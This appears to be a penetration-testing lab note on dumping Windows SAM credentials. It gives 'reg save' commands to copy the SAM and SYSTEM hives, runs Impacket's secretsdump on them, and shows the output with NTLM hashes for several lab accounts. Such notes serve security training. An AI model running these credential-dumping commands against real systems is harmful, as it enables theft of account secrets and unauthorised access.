26 lines
1.2 KiB
Markdown
26 lines
1.2 KiB
Markdown
|
||
|
||
[Dumping Credentials – SAM File Hashes - Juggernaut-Sec](https://juggernaut-sec.com/dumping-credentials-sam-file-hashes/)
|
||
```sh
|
||
reg save hklm\sam C:\temp\SAM
|
||
reg save hklm\system C:\temp\SYSTEM
|
||
|
||
secretsdump.py -sam SAM -system SYSTEM LOCAL
|
||
|
||
┌──(alien㉿world)-[~/PWK2023/oscpb/192.168.224.147]
|
||
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
|
||
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
|
||
|
||
[*] Target system bootKey: 0x8bca2f7ad576c856d79b7111806b533d
|
||
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
|
||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::
|
||
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
|
||
Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
|
||
David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
|
||
Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::
|
||
[*] Cleaning up...
|
||
```
|